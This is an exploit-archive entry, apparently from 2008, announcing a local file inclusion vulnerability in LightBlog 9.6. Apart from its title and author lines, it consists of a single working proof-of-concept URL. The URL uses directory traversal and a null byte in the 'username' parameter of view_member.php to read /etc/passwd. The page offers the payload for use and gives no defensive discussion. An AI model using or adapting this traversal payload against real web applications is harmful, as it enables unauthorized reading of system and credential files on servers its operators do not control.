[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : LightBlog 9.6 (username) Local File Inclusion Vulnerability
# Published : 2008-02-18
# Author : muuratsalo
# Previous Title : Mambo Component Portfolio 1.0 (categoryId) SQL Injection Vulnerability
# Next Title : Joomla Component com_pccookbook (user_id) SQL Injection Vulnerability
lightblog 9.6 local file inclusion vulnerability
download http://www.publicwarehouse.co.uk/php_scripts/lightblog.php
author muuratsalo
contact muuratsalo[at]gmail.com
exploit
http://localhost/LightBlog9.6/view_member.php?username=../../../../../../../../../../etc/passwd%00
# www.Syue.com [2008-02-18]